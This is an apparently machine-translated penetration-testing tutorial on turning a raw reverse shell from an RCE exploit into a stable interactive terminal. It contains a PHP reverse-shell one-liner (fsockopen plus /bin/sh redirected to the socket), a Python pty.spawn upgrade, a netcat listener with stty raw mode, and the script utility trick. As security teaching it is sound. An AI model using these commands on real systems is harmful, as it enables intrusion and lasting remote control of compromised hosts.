I am root. We get a stable shell

Let’s imagine that we got back connect as a result of exploiting the RCE vulnerability in a conditional PHP application. But this connection can hardly be called full-fledged. Today we’ll figure out how to upgrade access and make it more stable.


So we got the initial shell. Who knows how it is in Russian? “Original shell” or “primary access” – GOST’s not, therefore, please comment. So, we will not be able to use this connection for successful pivoting, since the same SSH is not available to us.

Unsuccessful attempt to use SSH

The system tells us that it can’t cope with SSH without a full-fledged terminal shell’a. What to do in this case? We go to Google and find collections of teams, not all of which will help us, for example:

/bin/sh -i

Trying to create a pseudo-terminal via / bin / sh

What can we do about it? How to get a stable shell? Now let’s figure it out.

Why do we need a terminal in our connection?

Once upon a time, in the second half of the 20th century, computers were large, and users interacted with them through physical devices called teleprinters and teletypes. You can read about the history of terminals here, but it’s important for us to understand that now Linux still considers itself a mainframe, and communication with the system takes place via virtual terminals.

Often during penetration testing we get a shell in which there is no virtual terminal. Most of the usual back-connects are nothing more than opening a network socket and redirecting input / output streams to this socket. At the same time, such an entity as a terminal (tty) is absent on the host of the attacker. The absence of a terminal in the connection prevents the system from working correctly with input / output, since not all output can be correctly output through the network socket to the attacker’s host. The same example with SSH: a certificate trust request arrives at the terminal of the attacked host, but does not reach the attacker’s host via the socket. The command below is used to simulate the exploitation of an RCE vulnerability.

php -r '$sock=fsockopen("",443);exec("/bin/sh -i <&3 >&3 2>&3");'

Trying to use SSH via nc connection

A certificate of trust request is issued on the attacked host

No attack terminal yet

We pump our original shell

We can use Python to exit to bash, while having at our disposal a terminal. The tty command displays the address of the current terminal.

python3 -c 'import pty;pty.spawn("/bin/bash")'

Creating a virtual terminal in Python

At this stage, we are already available some kind of interactive in the form of the ability to respond to system requests from the series “trust this SSH key” or “enter the password to use sudo”.
This is already something, but we still do not have the opportunity to use our favorite keyboard shortcut ctrl + c (Pentester software has never been very stable). To get a more stable version of shell’a and not to recreate the connection 10 times, I recommend using the following technique.

nc -nlvp 443
#ctrl + z
stty raw -echo && fg

The stty command sets the properties of the terminal line. This tool will allow us to tell the terminal on the side of the attacker that our input should simply be sent to stdin without processing. Thus, we will no longer kill the session if we automatically press ctrl + c.

Getting a stable shell by setting terminal properties

It happens that the system simply does not have Python installed. What to do in this case? You can use the script utility, for example, in CentOS it is available by default.

/usr/bin/script -qc /bin/bash /dev/null

Creating a virtual terminal in a script

I think this is enough to understand the process of creating stable and convenient connections.


Regarding safe hardening, it doesn’t make much sense to bother, since you already missed RCE in the system. In principle, successful privilege escalation is possible without the methods described today.

Similar Posts

Leave a Reply